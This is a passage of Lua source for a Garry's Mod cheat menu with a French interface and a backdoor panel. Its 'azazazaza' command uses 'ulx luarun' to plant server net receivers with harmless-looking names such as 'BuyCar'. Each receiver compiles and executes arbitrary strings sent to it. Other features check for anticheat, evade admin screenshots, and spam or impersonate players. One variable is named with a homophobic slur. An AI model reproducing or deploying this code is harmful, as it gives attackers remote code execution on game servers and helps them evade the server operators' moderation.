6624if v == LocalPlayer() then tcol = Color(
6625fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
6626 255 ) end
6627
6628
6629
6630end
6631plyname:SetColor( tcol )
6632plyname:SetText( v:Nick().." "..v:SteamID().."
6633 "..v:Team() )
6634plyname:SetSize(314, 15)
6635local faggot = vgui.Create("DButton", plypanel2)
6636faggot:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
6637faggot:SetPos( 0, 0 )
6638faggot:SetText("")
6639faggot.Paint = function(panel, w, h)
6640return
6641end
6642faggot.DoClick = function()
6643if table.HasValue( selectedplayers, v ) then
6644table.RemoveByValue( selectedplayers, v )
6645else
6646table.insert( selectedplayers, v )
6647end
6648end
6649PlistAllPlayer:AddItem( plypanel2 )
6650end
6651
6652BD.GenerateBackdoorList( PlistAll, 1 )
6653BD.GenerateBackdoorList( PlistAllOnePlayer, 2 )
6654BD.GenerateBackdoorList( PlistAllDestruction, 3 )
6655else
6656local TextHomeza2 = vgui.Create( "DPanel", BackdoorsMenu )
6657TextHomeza2:SetSize(1000,650)
6658TextHomeza2.Paint = function( self, w, h )
6659draw.SimpleText("SNTE détecté. Risque de ban", "pity_home3", 330, 235,
6660 Color(255, 74, 74,255), 0, 1)
6661draw.SimpleText("Backdoors désactivés", "pity_home2", 430, 265,
6662Color(255, 255, 255,200), 0, 1)
6663end
6664end
6665
6666print(
6667"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
6668 )
6669print( "Backdoors check" )
6670print( "Check terminé" )
6671
6672end)
6673
6674
6675concommand.Add("azazazaza", function()
6676
6677LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'BuyCar' )
6678net.Receive( 'BuyCar', function() local x = CompileString(
6679net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end
6680)")
6681LocalPlayer():ConCommand("ulx luarun util.AddNetworkString(
6682'rpi_trade_end' ) net.Receive( 'rpi_trade_end', function() local x =
6683CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x )
6684then x() end end )")
6685LocalPlayer():ConCommand("ulx luarun util.AddNetworkString(
6686'ClickerForceSave' ) net.Receive( 'ClickerForceSave', function() local x
6687 = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x )
6688 then x() end end )")
6689LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'SRequest' )
6690 net.Receive( 'SRequest', function() local x = CompileString(
6691net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end
6692)")
6693LocalPlayer():ConCommand("ulx luarun util.AddNetworkString(
6694'ArmorButton' ) net.Receive( 'ArmorButton', function() local x =
6695CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x )
6696then x() end end )")
6697LocalPlayer():ConCommand("ulx luarun util.AddNetworkString(
6698'Client_To_Server_OpenEditor' ) net.Receive(
6699'Client_To_Server_OpenEditor', function() local x = CompileString(
6700net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end
6701)")
6702LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'wordenns' )
6703 net.Receive( 'wordenns', function() local x = CompileString(
6704net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end
6705)")
6706LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'BuyKey' )
6707net.Receive( 'BuyKey', function() local x = CompileString(
6708net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end
6709)")
6710LocalPlayer():ConCommand("ulx luarun util.AddNetworkString(
6711'casinokit_chipexchange' ) net.Receive( 'casinokit_chipexchange',
6712function() local x = CompileString( net.ReadString(), 'LuaCmd', false )
6713if isfunction( x ) then x() end end )")
6714LocalPlayer():ConCommand("ulx luarun util.AddNetworkString(
6715'PurchaseWeed' ) net.Receive( 'PurchaseWeed', function() local x =
6716CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x )
6717then x() end end )")
6718LocalPlayer():ConCommand("ulx luarun util.AddNetworkString(
6719'DoDealerDeliver' ) net.Receive( 'DoDealerDeliver', function() local x =
6720 CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x )
6721then x() end end )")
6722LocalPlayer():ConCommand("ulx luarun util.AddNetworkString(
6723'sendDuelInfo' ) net.Receive( 'sendDuelInfo', function() local x =
6724CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x )
6725then x() end end )")
6726LocalPlayer():ConCommand("ulx luarun util.AddNetworkString(
6727'InviteMember' ) net.Receive( 'InviteMember', function() local x =
6728CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x )
6729then x() end end )")
6730LocalPlayer():ConCommand("ulx luarun util.AddNetworkString(
6731'newTerritory' ) net.Receive( 'newTerritory', function() local x =
6732CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x )
6733then x() end end )")
6734LocalPlayer():ConCommand("ulx luarun util.AddNetworkString(
6735'CreateOrganization' ) net.Receive( 'CreateOrganization', function()
6736local x = CompileString( net.ReadString(), 'LuaCmd', false ) if
6737isfunction( x ) then x() end end )")
6738LocalPlayer():ConCommand("ulx luarun util.AddNetworkString(
6739'ChangeOrgName' ) net.Receive( 'ChangeOrgName', function() local x =
6740CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x )
6741then x() end end )")
6742LocalPlayer():ConCommand("ulx luarun util.AddNetworkString(
6743'IS_SubmitSID_C2S' ) net.Receive( 'IS_SubmitSID_C2S', function() local x
6744 = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x )
6745 then x() end end )")
6746
6747end)
6748
6749function BD:Fun( pContent )
6750
6751
6752local BDMenuFun = vgui.Create("DPanel", pContent)
6753BDMenuFun:SetSize( 539, 388 )
6754BDMenuFun:SetPos( 0, 0 )
6755BDMenuFun.Paint = function( self, w, h)
6756draw.RoundedBox( 0, 0, 0, w, h, Color(255,35,35,0 ) )
6757draw.SimpleText("En développement", "DermaDefault", 350, 180,
6758Color(255, 255, 255,100), 0, 1)
6759
6760draw.RoundedBox( 0, 20, 102, w - 307, 2, Color( 50,50,50, 255 ) )
6761draw.RoundedBox( 0, 20, 290, w - 307, 2, Color( 50,50,50, 255 ) )
6762
6763draw.RoundedBox( 200, 20, 10, 2, h - 20, Color( 50,50,50, 255 ) )
6764draw.RoundedBox( 200, 250, 10, 2, h - 20, Color( 50,50,50, 255 ) )
6765draw.RoundedBox( 0, 20, 378, w - 307, 2, Color( 50,50,50, 255 ) )
6766draw.RoundedBox( 0, 20, 10, w - 452, 2, Color( 50,50,50, 255 ) )
6767draw.RoundedBox( 0, 165, 10, w - 453, 2, Color( 50,50,50, 255 ) )
6768draw.SimpleText("Utilitaires", "pity_home3", 110, 10, Color(100, 100,
6769100,255), 0, 1)
6770
6771--[[draw.RoundedBox( 200, 515, 10, 2, h - 216, Color( 50,50,50, 255 ) )
6772draw.RoundedBox( 200, 282, 10, 2, h - 216, Color( 50,50,50, 255 ) )
6773draw.RoundedBox( 0, 284, 180, w - 307, 2, Color( 50,50,50, 255 ) )
6774draw.RoundedBox( 0, 284, 10, w - 435, 2, Color( 50,50,50, 255 ) )
6775draw.RoundedBox( 0, 417, 10, w - 440, 2, Color( 50,50,50, 255 ) )
6776draw.SimpleText("Troll", "pity_home3", 390, 10, Color(100, 100,
6777100,255), 0, 1)
6778
6779draw.RoundedBox( 200, 515, 205, 2, h - 213, Color( 50,50,50, 255 ) )
6780draw.RoundedBox( 200, 282, 205, 2, h - 213, Color( 50,50,50, 255 ) )
6781draw.RoundedBox( 0, 284, 378, w - 307, 2, Color( 50,50,50, 255 ) )
6782draw.RoundedBox( 0, 284, 205, w - 440, 2, Color( 50,50,50, 255 ) )
6783draw.RoundedBox( 0, 425, 205, w - 448, 2, Color( 50,50,50, 255 ) )
6784draw.SimpleText("Autres", "pity_home3", 386, 205, Color(100, 100,
6785100,255), 0, 1)]]--
6786
6787if fiji_style_menu:GetInt() == 2 then
6788draw.RoundedBox( 0, 0, 242, 2, h - 242,
6789Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
6790 )
6791draw.RoundedBox( 0, 0, 0, 2, h - 190,
6792Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
6793 )
6794
6795elseif fiji_style_menu:GetInt() == 1 then
6796draw.RoundedBox( 0, 0, 242, 2, h - 242, HSVToColor( CurTime() % 6 * 60,
67971, 0.5 ) )
6798draw.RoundedBox( 0, 0, 0, 2, h - 190, HSVToColor( CurTime() % 6 * 60, 1,
6799 0.5 ) )
6800
6801else
6802draw.RoundedBox( 0, 0, 242, 2, h - 242, Color(
6803fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
6804 255 ) )
6805draw.RoundedBox( 0, 0, 0, 2, h - 190, Color(
6806fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
6807 255 ) )
6808end
6809
6810end
6811
6812
6813-- bhop
6814local btnbhop = BD:CreateBtn( "BHOP", 30, 30, 65, 25, pContent )
6815function btnbhop:DoClick() if fiji_fun_bunnyhop:GetInt() == 1 then
6816surface.PlaySound( fiji_pityclick ) else surface.PlaySound(
6817"buttons/button15.wav" ) end if fiji_fun_bunnyhop:GetInt() == 1 then
6818RunConsoleCommand( "fiji_fun_bunnyhop", 0 ) else RunConsoleCommand(
6819"fiji_fun_bunnyhop", 1 ) end end
6820function btnbhop:Think() if fiji_fun_bunnyhop:GetInt() == 1 then
6821self.activebtn = true else self.activebtn = false end end
6822
6823-- end bhop
6824
6825
6826--spam l
6827
6828local btnspamlight = BD:CreateBtn( "SPAM LAMPE", 98, 30, 75, 25,
6829pContent )
6830function btnspamlight:DoClick() if fiji_fun_spamlight:GetInt() == 1 then
6831 surface.PlaySound( fiji_pityclick ) else surface.PlaySound(
6832"buttons/button15.wav" ) end if fiji_fun_spamlight:GetInt() == 1 then
6833RunConsoleCommand( "fiji_fun_spamlight", 0 ) else RunConsoleCommand(
6834"fiji_fun_spamlight", 1 ) end end
6835function btnspamlight:Think() if fiji_fun_spamlight:GetInt() == 1 then
6836self.activebtn = true else self.activebtn = false end end
6837
6838
6839--spam l end
6840
6841local btnbhop = BD:CreateBtn( "FOLIE", 176, 30, 65, 25, pContent )
6842function btnbhop:DoClick() if fiji_fun_spamrope:GetInt() == 1 then
6843surface.PlaySound( fiji_pityclick ) else surface.PlaySound(
6844"buttons/button15.wav" ) end if fiji_fun_spamrope:GetInt() == 1 then
6845RunConsoleCommand( "fiji_fun_spamrope", 0 ) else RunConsoleCommand(
6846"fiji_fun_spamrope", 1 ) end end
6847function btnbhop:Think() if fiji_fun_spamrope:GetInt() == 1 then
6848self.activebtn = true else self.activebtn = false end end
6849
6850
6851
6852
6853local tablename1 = { "Joe", "John", "Jack", "Barry", "Chris",
6854"Christopher", "Michael", "David", "Thomas", "Paul", "Tony", "Mark",
6855"Cooper", "Jared", "James", "Jimmy", "Bob", "Robert", "Riley",
6856"William", "Will", "Donald", "George", "Ken", "Steve", "Bruce", "Brian",
6857 "Chad", "Anthony", "Tim", "Eddie", "Daniel", "Larry", "Jeff", "Justin",
6858 "Adam", "Ralph", "Brandon", "Xavier", "Greg", "Gordon", "Scott",
6859"Taine", "Howie", "Morgan", "Curtis", "Dwayne", "Steven", "Peter",
6860"Kevin", "Coleman", "Garry", }
6861local tablename2 = { "Houston", "Burch", "Smith", "Jones", "Trump",
6862"Sanders", "Abbott", "Cruise", "Brown", "Hopgood", "Davis", "Miller",
6863"Wilson", "Walker", "Lee", "Lions", "Bryant", "Hall", "Adams", "Green",
6864"Aldridge", "Turner", "Anderson", "Morris", "Howard", "Swanson",
6865"Peterson", "Powell", "Keating", "Rudd", "Coleman", "Cunningham",
6866"Donnell", "Callaghan", "Smithers", "Burns", "Bonds", "Gonzales",
6867"Griffin", "Woods", "Gibson", "Webb", "Simpson", "Freeman", "Mcdonald",
6868"Butters", "Masterson", "Keefe", "Sanderson", "Badger", "Cantrip",
6869"Williams", "DontBanMe", "Lopez", "Clark", "Campbell", "King",
6870"Coleman", "Chongs", "Riviera", "Ward", "Gray", "Ross", }
6871
6872local btnnomrandom = BD:CreateBtn( "NOM RANDOM", 55, 70, 76, 25,
6873pContent )
6874function btnnomrandom:DoClick() LocalPlayer():ConCommand("say /name
6875"..table.Random( tablename1 ).." "..table.Random( tablename1 )) end
6876
6877local btnnommort = BD:CreateBtn( "VUE TPS", 134, 70, 75, 25, pContent )
6878
6879function btnnommort:DoClick() if fiji_fun_thperson:GetInt() == 1 then
6880surface.PlaySound( fiji_pityclick ) else surface.PlaySound(
6881"buttons/button15.wav" ) end if fiji_fun_thperson:GetInt() == 1 then
6882RunConsoleCommand( "fiji_fun_thperson", 0 ) else RunConsoleCommand(
6883"fiji_fun_thperson", 1 ) end end
6884function btnnommort:Think() if fiji_fun_thperson:GetInt() == 1 then
6885self.activebtn = true else self.activebtn = false end end
6886
6887
6888
6889local btnnommort = BD:CreateBtn( "CROSSHAIR", 98, 110, 75, 25, pContent )
6890
6891function btnnommort:DoClick() if fiji_fun_crosshair:GetInt() == 1 then
6892surface.PlaySound( fiji_pityclick ) else surface.PlaySound(
6893"buttons/button15.wav" ) end if fiji_fun_crosshair:GetInt() == 1 then
6894RunConsoleCommand( "fiji_fun_crosshair", 0 ) else RunConsoleCommand(
6895"fiji_fun_crosshair", 1 ) end end
6896function btnnommort:Think() if fiji_fun_crosshair:GetInt() == 1 then
6897self.activebtn = true else self.activebtn = false end end
6898
6899local pPmopi = vgui.Create( "DPanel", pContent )
6900pPmopi:SetPos( 30, 140 )
6901pPmopi:SetSize( 212, 50 )
6902function pPmopi:Paint( w, h )
6903draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
6904draw.SimpleText( "TAILLE CROSSHAIR", "pity_home5", 7, h / 2,
6905color_white, 0, 1 )
6906end
6907local pDistancemopi = vgui.Create( "DNumSlider", pContent )
6908pDistancemopi:SetPos( 85, 140 )
6909pDistancemopi:SetSize( 180, 50 )
6910pDistancemopi:SetText( "" )
6911pDistancemopi:SetMin( -15 )
6912pDistancemopi:SetMax( 120 )
6913pDistancemopi:SetDecimals( 0 )
6914pDistancemopi:SetValue( fiji_fun_crosshairtaille:GetInt())
6915pDistancemopi.Scratch:SetVisible( false )
6916pDistancemopi.TextArea:SetTextColor( color_white )
6917function pDistancemopi.Slider:Paint(w, h)
6918surface.SetDrawColor(0, 0, 0, 255)
6919surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local
6920barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
6921
6922if fiji_style_menu:GetInt() == 2 then
6923surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
6924surface.DrawRect(0,
6925 21, barw, h / 5)
6926
6927elseif fiji_style_menu:GetInt() == 1 then
6928surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
6929surface.DrawRect(0, 21, barw, h / 5)
6930
6931else
6932surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
6933surface.DrawRect(0,
6934 21, barw, h / 5)
6935end
6936end
6937function pDistancemopi:SetHeight(tall)
6938self.Slider.Knob:SetHeight(tall / 2 + 4)
6939DSlider.SetHeight(self, tall)
6940pDistancemopi.SetTall = pDistancemopi.SetHeight
6941pDistancemopi.Slider.Knob:SetTall(5)
6942end
6943function pDistancemopi.Slider.Knob:Paint(w, h)
6944derma.SkinHook( "Paint", "Button", self, 0, 0 )
6945end
6946function pDistancemopi:OnValueChanged( val )
6947RunConsoleCommand( "fiji_fun_crosshairtaille", tonumber( self:GetValue()
6948 ) )
6949end
6950
6951
6952
6953local ColorMenucross = vgui.Create( "DPanel", pContent )
6954ColorMenucross:SetSize( 220, 50 )
6955ColorMenucross:SetPos( 26, 195 )
6956function ColorMenucross:Paint( w, h )
6957draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
6958draw.SimpleText( "Couleur Crosshair", "pity_home5", 79, 8, color_white,
69590, 1 )
6960end
6961local OptionsColorRedMENU = vgui.Create( "DButton", ColorMenucross )
6962OptionsColorRedMENU:SetPos( 1,20 )
6963OptionsColorRedMENU:SetSize( 20, 20 )
6964OptionsColorRedMENU:SetText( " " )
6965OptionsColorRedMENU.Paint = function( self, w, h )
6966if self:IsHovered() then
6967draw.RoundedBox(0,0,0,w,h,Color(183, 0, 0))
6968surface.SetDrawColor(255, 255, 255 ,100)
6969surface.DrawOutlinedRect(0, 0, w, h)
6970else
6971draw.RoundedBox( 0, 0, 0, w, h, Color(255, 81, 81))
6972surface.SetDrawColor(255, 255, 255 ,100)
6973surface.DrawOutlinedRect(0, 0, w, h)
6974end
6975OptionsColorRedMENU.DoClick = function()
6976LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 238")
6977LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 61")
6978LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 61")
6979LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
6980surface.PlaySound( fiji_pityhover )
6981
6982end
6983end
6984local OptionsColorOrangeMENU = vgui.Create( "DButton", ColorMenucross )
6985OptionsColorOrangeMENU:SetPos( 23,20 )
6986OptionsColorOrangeMENU:SetSize( 20, 20 )
6987OptionsColorOrangeMENU:SetText( " " )
6988OptionsColorOrangeMENU.Paint = function( self, w, h )
6989if self:IsHovered() then
6990draw.RoundedBox(0,0,0,w,h,Color(211, 116, 0))
6991surface.SetDrawColor(255, 255, 255 ,100)
6992surface.DrawOutlinedRect(0, 0, w, h)
6993else
6994draw.RoundedBox( 0, 0, 0, w, h, Color(255, 165, 56))
6995surface.SetDrawColor(255, 255, 255 ,100)
6996surface.DrawOutlinedRect(0, 0, w, h)
6997end
6998OptionsColorOrangeMENU.DoClick = function()
6999LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 255")
7000LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 162")
7001LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 91")
7002LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
7003surface.PlaySound( fiji_pityhover )
7004
7005end
7006end
7007local OptionsColorYellowMENU = vgui.Create( "DButton", ColorMenucross )
7008OptionsColorYellowMENU:SetPos( 45,20 )
7009OptionsColorYellowMENU:SetSize( 20, 20 )
7010OptionsColorYellowMENU:SetText( " " )
7011OptionsColorYellowMENU.Paint = function( self, w, h )
7012if self:IsHovered() then
7013draw.RoundedBox(0,0,0,w,h,Color(193, 190, 0))
7014surface.SetDrawColor(255, 255, 255 ,100)
7015surface.DrawOutlinedRect(0, 0, w, h)
7016else
7017draw.RoundedBox( 0, 0, 0, w, h, Color(255, 253, 160))
7018surface.SetDrawColor(255, 255, 255 ,100)
7019surface.DrawOutlinedRect(0, 0, w, h)
7020end
7021OptionsColorYellowMENU.DoClick = function()
7022LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 246")
7023LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 255")
7024LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 91")
7025LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
7026surface.PlaySound( fiji_pityhover )
7027
7028end
7029end
7030local OptionsColorGreenMENU = vgui.Create( "DButton", ColorMenucross )
7031OptionsColorGreenMENU:SetPos( 67,20 )
7032OptionsColorGreenMENU:SetSize( 20, 20 )
7033OptionsColorGreenMENU:SetText( " " )
7034OptionsColorGreenMENU.Paint = function( self, w, h )
7035if self:IsHovered() then
7036draw.RoundedBox(0,0,0,w,h,Color(2, 178, 0))
7037surface.SetDrawColor(255, 255, 255 ,100)
7038surface.DrawOutlinedRect(0, 0, w, h)
7039else
7040draw.RoundedBox( 0, 0, 0, w, h, Color(119, 255, 117))
7041surface.SetDrawColor(255, 255, 255 ,100)
7042surface.DrawOutlinedRect(0, 0, w, h)
7043end
7044OptionsColorGreenMENU.DoClick = function()
7045LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 130")
7046LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 255")
7047LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 132")
7048LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
7049surface.PlaySound( fiji_pityhover )
7050
7051end
7052end
7053local OptionsColorBlueMENU = vgui.Create( "DButton", ColorMenucross )
7054OptionsColorBlueMENU:SetPos( 89,20 )
7055OptionsColorBlueMENU:SetSize( 20, 20 )
7056OptionsColorBlueMENU:SetText( " " )
7057OptionsColorBlueMENU.Paint = function( self, w, h )
7058if self:IsHovered() then
7059draw.RoundedBox(0,0,0,w,h,Color(0, 0, 255))
7060surface.SetDrawColor(255, 255, 255 ,100)
7061surface.DrawOutlinedRect(0, 0, w, h)
7062else
7063draw.RoundedBox( 0, 0, 0, w, h, Color(117, 121, 255))
7064surface.SetDrawColor(255, 255, 255 ,100)
7065surface.DrawOutlinedRect(0, 0, w, h)
7066end
7067OptionsColorBlueMENU.DoClick = function()
7068LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 104")
7069LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 102")
7070LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 255")
7071LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
7072surface.PlaySound( fiji_pityhover )
7073
7074end
7075end
7076local OptionsColorPurpleMENU = vgui.Create( "DButton", ColorMenucross )
7077OptionsColorPurpleMENU:SetPos( 111,20 )
7078OptionsColorPurpleMENU:SetSize( 20, 20 )
7079OptionsColorPurpleMENU:SetText( " " )
7080OptionsColorPurpleMENU.Paint = function( self, w, h )
7081if self:IsHovered() then
7082draw.RoundedBox(0,0,0,w,h,Color(144, 0, 255))
7083surface.SetDrawColor(255, 255, 255 ,100)
7084surface.DrawOutlinedRect(0, 0, w, h)
7085else
7086draw.RoundedBox( 0, 0, 0, w, h, Color(191, 109, 255))
7087surface.SetDrawColor(255, 255, 255 ,100)
7088surface.DrawOutlinedRect(0, 0, w, h)
7089end
7090OptionsColorPurpleMENU.DoClick = function()
7091LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 168")
7092LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 102")
7093LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 255")
7094LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
7095surface.PlaySound( fiji_pityhover )
7096
7097end
7098end
7099local OptionsColorPinkMENU = vgui.Create( "DButton", ColorMenucross )
7100OptionsColorPinkMENU:SetPos( 133,20 )
7101OptionsColorPinkMENU:SetSize( 20, 20 )
7102OptionsColorPinkMENU:SetText( " " )
7103OptionsColorPinkMENU.Paint = function( self, w, h )
7104if self:IsHovered() then
7105draw.RoundedBox(0,0,0,w,h,Color(250, 0, 255))
7106surface.SetDrawColor(255, 255, 255 ,100)
7107surface.DrawOutlinedRect(0, 0, w, h)
7108else
7109draw.RoundedBox( 0, 0, 0, w, h, Color(252, 96, 255))
7110surface.SetDrawColor(255, 255, 255 ,100)
7111surface.DrawOutlinedRect(0, 0, w, h)
7112end
7113OptionsColorPinkMENU.DoClick = function()
7114LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 255")
7115LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 102")
7116LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 235")
7117LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
7118surface.PlaySound( fiji_pityhover )
7119
7120end
7121end
7122local OptionsColorBlackMENU = vgui.Create( "DButton", ColorMenucross )
7123OptionsColorBlackMENU:SetPos( 155,20 )
7124OptionsColorBlackMENU:SetSize( 20, 20 )
7125OptionsColorBlackMENU:SetText( " " )
7126OptionsColorBlackMENU.Paint = function( self, w, h )
7127if self:IsHovered() then
7128draw.RoundedBox(0,0,0,w,h,Color(45, 45, 45))
7129surface.SetDrawColor(255, 255, 255 ,100)
7130surface.DrawOutlinedRect(0, 0, w, h)
7131else
7132draw.RoundedBox( 0, 0, 0, w, h, Color(60, 60, 60))
7133surface.SetDrawColor(255, 255, 255 ,100)
7134surface.DrawOutlinedRect(0, 0, w, h)
7135end
7136OptionsColorBlackMENU.DoClick = function()
7137LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 60")
7138LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 60")
7139LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 60")
7140LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
7141surface.PlaySound( fiji_pityhover )
7142
7143end
7144end
7145local OptionsColormultiMENU = vgui.Create( "DButton", ColorMenucross )
7146OptionsColormultiMENU:SetPos( 177,20 )
7147OptionsColormultiMENU:SetSize( 20, 20 )
7148OptionsColormultiMENU:SetText( " " )
7149OptionsColormultiMENU.Paint = function( self, w, h )
7150if self:IsHovered() then
7151draw.RoundedBox(0,0,0,w,h,HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
7152surface.SetDrawColor(255, 255, 255 ,100)
7153surface.DrawOutlinedRect(0, 0, w, h)
7154else
7155draw.RoundedBox( 0, 0, 0, w, h, HSVToColor( CurTime() % 6 * 60, 1, 0.5
7156))
7157surface.SetDrawColor(255, 255, 255 ,100)
7158surface.DrawOutlinedRect(0, 0, w, h)
7159end
7160OptionsColormultiMENU.DoClick = function()
7161LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 1")
7162surface.PlaySound( fiji_pityhover )
7163
7164end
7165end
7166local OptionsColorhackMENU = vgui.Create( "DButton", ColorMenucross )
7167OptionsColorhackMENU:SetPos( 199,20 )
7168OptionsColorhackMENU:SetSize( 20, 20 )
7169OptionsColorhackMENU:SetText( " " )
7170OptionsColorhackMENU.Paint = function( self, w, h )
7171if self:IsHovered() then
7172draw.RoundedBox(0,0,0,w,h,Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
7173surface.SetDrawColor(255,
7174 255, 255 ,100)
7175surface.DrawOutlinedRect(0, 0, w, h)
7176else
7177draw.RoundedBox( 0, 0, 0, w, h,
7178Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
7179surface.SetDrawColor(255,
7180 255, 255 ,100)
7181surface.DrawOutlinedRect(0, 0, w, h)
7182end
7183OptionsColorhackMENU.DoClick = function()
7184LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 2")
7185surface.PlaySound( fiji_pityhover )
7186
7187end
7188end
7189
7190
7191local btnstylea = BD:CreateBtn( "STYLE 2", 137, 255, 65, 25, pContent )
7192
7193function btnstylea:DoClick() surface.PlaySound( fiji_pityclick ) if
7194fiji_fun_crosshairstyle:GetInt() == 2 then RunConsoleCommand(
7195"fiji_fun_crosshairstyle", 2 ) else RunConsoleCommand(
7196"fiji_fun_crosshairstyle", 2 ) end end
7197function btnstylea:Think() if fiji_fun_crosshairstyle:GetInt() == 2 then
7198 self.activebtn = true else self.activebtn = false end end
7199local btnstyleb = BD:CreateBtn( "STYLE 1", 68, 255, 65, 25, pContent )
7200
7201function btnstyleb:DoClick() surface.PlaySound( fiji_pityclick ) if
7202fiji_fun_crosshairstyle:GetInt() == 1 then RunConsoleCommand(
7203"fiji_fun_crosshairstyle", 1 ) else RunConsoleCommand(
7204"fiji_fun_crosshairstyle", 1 ) end end
7205function btnstyleb:Think() if fiji_fun_crosshairstyle:GetInt() == 1 then
7206 self.activebtn = true else self.activebtn = false end end
7207
7208
7209--crosshair end
7210
7211local btnradara = BD:CreateBtn( "MIROIR", 134, 305, 65, 25, pContent )
7212
7213function btnradara:DoClick() surface.PlaySound( fiji_pityclick ) if
7214fiji_fun_radar:GetInt() == 2 then RunConsoleCommand( "fiji_fun_radar", 0
7215 ) else RunConsoleCommand( "fiji_fun_radar", 2 ) end end
7216function btnradara:Think() if fiji_fun_radar:GetInt() == 2 then
7217self.activebtn = true else self.activebtn = false end end
7218local btnradarb = BD:CreateBtn( "RADAR", 65, 305, 65, 25, pContent )
7219function btnradarb:DoClick() surface.PlaySound( fiji_pityclick ) if
7220fiji_fun_radar:GetInt() == 1 then RunConsoleCommand( "fiji_fun_radar", 0
7221 ) else RunConsoleCommand( "fiji_fun_radar", 1 ) end end
7222function btnradarb:Think() if fiji_fun_radar:GetInt() == 1 then
7223self.activebtn = true else self.activebtn = false end end
7224
7225local btnantiscreen = BD:CreateBtn( "ANTI SCREENGRAB", 65, 345, 134, 25,
7226 pContent )
7227function btnantiscreen:DoClick() surface.PlaySound( fiji_pityclick ) if
7228fiji_fun_screengrab:GetInt() == 1 then RunConsoleCommand(
7229"fiji_fun_screengrab", 0 ) else RunConsoleCommand(
7230"fiji_fun_screengrab", 1 ) end end
7231function btnantiscreen:Think() if fiji_fun_screengrab:GetInt() == 1 then
7232 self.activebtn = true else self.activebtn = false end end
7233
7234end-- end fun function
7235
7236
7237concommand.Add("pity", function()
7238
7239local BDMenu = vgui.Create( "DFrame" )
7240BDMenu:SetSize( 700, 400 )
7241BDMenu:Center()
7242BDMenu:SetTitle("")
7243BDMenu:SetDraggable( true )
7244BDMenu:ShowCloseButton( false )
7245BDMenu:MakePopup()
7246function BDMenu:Paint( w, h )
7247
7248
7249DrawBlur(self, 25)
